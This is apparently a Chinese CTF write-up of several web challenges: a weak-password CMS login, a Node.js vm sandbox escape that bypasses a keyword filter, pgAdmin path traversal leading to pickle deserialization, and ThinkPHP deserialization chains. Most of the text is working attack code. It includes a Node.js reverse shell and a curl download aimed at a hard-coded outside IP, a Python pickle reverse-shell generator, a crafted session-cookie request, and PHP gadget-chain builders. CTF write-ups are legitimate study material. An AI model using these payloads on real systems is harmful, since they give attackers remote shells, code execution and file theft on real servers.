my first cms
这个弱密码进后台:
admin/Admin123(牛魔弱密码
然后有两个getshell的rce可以打:
然后拿历史洞直接打就行
全世界最简单的CTF
用到ES6模板字符串绕过,参考:https://www.joyk.com/dig/detail/1669534240131844
源码:
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");
app.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')));
app.get('/', function (req, res) {
res.sendFile(__dirname + '/public/home.html');
});
function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if (code.match(pattern)) {
throw new Error("what can I say? hacker out!!");
}
}
app.post('/', function (req, res) {
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e) {
console.log(e.message);
require('./hack');
}
});
app.get('/secret', function (req, res) {
if (process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
});
app.listen(13000, () => {
console.log("listen on 3000");
});
这题一看就是一个vm逃逸+绕waf
本地实现了任意文件读取,和写文件,但是没什么用。。。。。
const vm = require('vm');
function waf(code) {
let pattern = /(process|\[.*?\]|spawn|exec|Buffer|\\|\+|concat|eval|Function)/g;
if (code.match(pattern)) {
throw new Error("what can I say? hacker out!!");
}
}
let code = `
throw new Proxy({}, { get: function(){ var harder = "roce"; var poc = "xe"; const cc = arguments.callee.caller; const p = (cc.constructor.constructor(\`return p\${harder}ss\`))();
return p.mainModule.require('fs').readFileSync('app.js','utf-8'); } })`;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e) {
console.log(e.message);
}
打通的思路
https://www.ddosi.org/shell/
启动一个python服务,然后wegt下来下面这个js🐎:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("sh", []);
var client = new net.Socket();
client.connect(7777, "43.128.21.178", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
payload:
throw new Proxy({}, {
get: function(){ var harder = "roce";
var poc = "xe"; const cc = arguments.callee.caller; const p = (cc.constructor.constructor(\`return p\${harder}ss\`))();
p.mainModule.require('fs').writeFileSync('harder.js',\`require('child_p\${harder}ss').e\${poc}cSync("curl http://43.128.21.178:7777/shell.js ");\`)
return p.mainModule.require(\`child_p\${harder}ss\`).fork('harder.js');
} })
然后再fork我们的shell.js
throw new Proxy({}, {
get: function(){ var harder = "roce";
var poc = "xe"; const cc = arguments.callee.caller; const p = (cc.constructor.constructor(\`return p\${harder}ss\`))();
p.mainModule.require('fs').writeFileSync('harder.js',\`require('child_p\${harder}ss').e\${poc}cSync("");\`)
return p.mainModule.require(\`child_p\${harder}ss\`).fork('shell.js');
} })
然后读flag即可
改了一下学弟的payload:
throw new Proxy({},{
get: function(){ const cc = arguments.callee.caller;
const p = (cc.constructor.constructor(\`return \${\`proce\`}ss\`))();
child = p.mainModule.require(\`child_\${\`proce\`}ss\`);
childArr = Object.values(child); fun = childArr.find(func=>func.name ===\`\${\`exe\`}cSync\`);
fun("calc");} })
LaoGong的payload:
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
const obj = p.mainModule.require('child_procBess'.replace('B',''));
const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
return ex.value('whoami').toString();
}
})
官方的WriteUp:
attack_tacooooo
参考:
https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/
rce半小时,找flag半天。。
flag藏在定时任务里面
import pickle
import os
import pickletools
class exp():
def __reduce__(self):
return (exec, ("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);",))
if __name__ == '__main__':
c = exp()
payload = pickle.dumps(c)
with open('posix.pickle', 'wb') as f:
f.write(payload)
import struct
import sys
def produce_pickle_bytes(platform, cmd):
b = b'\x80\x04\x95'
b += struct.pack('L', 22 + len(platform) + len(cmd))
b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
b += b'\x94\x8c\x06system\x94\x93\x94'
b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
b += b'\x94\x85\x94R\x94.'
print(b)
return b
if __name__ == '__main__':
if len(sys.argv) != 2:
exit(f"usage: {sys.argv[0]} ip:port")
with open('nt.pickle', 'wb') as f:
f.write(produce_pickle_bytes('nt', f""))
with open('posix.pickle', 'wb') as f:
f.write(produce_pickle_bytes('posix', f"crontab -l > /var/lib/pgadmin/storage/tacooooo_qq.com/a.sh"))
把生成的posix.pickle文件上去,在storge上传
GET http://79d438c1-772a-4bae-b2fe-e777f5eb3f31.node.nkctf.yuzhian.com.cn/browser/ HTTP/1.1
Host: 79d438c1-772a-4bae-b2fe-e777f5eb3f31.node.nkctf.yuzhian.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: pga4_session=../storage/tacooooo_qq.com/posix.pickle!a; PGADMIN_LANGUAGE=en
Upgrade-Insecure-Requests: 1
用过就是熟悉
thinkphp反序列化:
写文件的链子,还需要时间爆破文件名字
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($a)
{
$this->files = [$a];
}
}
}
namespace think {
class Collection
{
protected $items;
public function __construct($a)
{
$this->items = $a;
}
}
}
namespace think {
class View
{
protected $data = [];
public $engine = array('time' => '10086');
public function __construct($a)
{
$this->data = array('Loginout' => $a);
}
}
}
//抽象类无法实例化,需要找到他的子类,即下面的Debug类
namespace think {
abstract class Testone
{
}
}
namespace think {
class Debug extends Testone
{
}
}
namespace {
$Debug = new think\Debug();
$View = new think\View($Debug);
$Collection = new think\Collection($View);
$Windows = new think\process\pipes\Windows($Collection);
echo serialize($Windows);
}
//TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE2OiJ0aGlua1xDb2xsZWN0aW9uIjoxOntzOjg6IgAqAGl0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3IjoyOntzOjc6IgAqAGRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMToidGhpbmtcRGVidWciOjA6e319czo2OiJlbmdpbmUiO2E6Mjp7czo0OiJ0aW1lIjtzOjU6IjEwMDg2IjtzOjQ6Im5hbWUiO3M6MTY6ImRhdGEvZmlsZXMvc2hlbGwiO319fX19
include链子:
<?php
// include file
namespace think\process\pipes{
class Windows
{
private $files = [];
public function __construct($a)
{
$this->files = $a;
var_dump($this->files);
}
}
}
namespace think{
class Collection{
protected $items = [];
public function __construct($items)
{
$this->items = $items;
}
}
}
namespace think{
class View{
protected $data = [];
public $engine;
public function __construct($a,$b) // 传参为 include filename {
$this->data = $a;
$this->engine = $b;
}
}
}
namespace think{
class Config{
}
}
namespace {
use think\Collection;
use think\Config;
use think\process\pipes\Windows;
use think\View;
$filepath = array("time"=>"10086","name"=>"data/files/shell");
$d = new Config();
$c = new View(array("Loqinout"=>$d),$filepath);
$b = new Collection($c);
$a = new Windows(array($b));
echo base64_encode(serialize($a));
}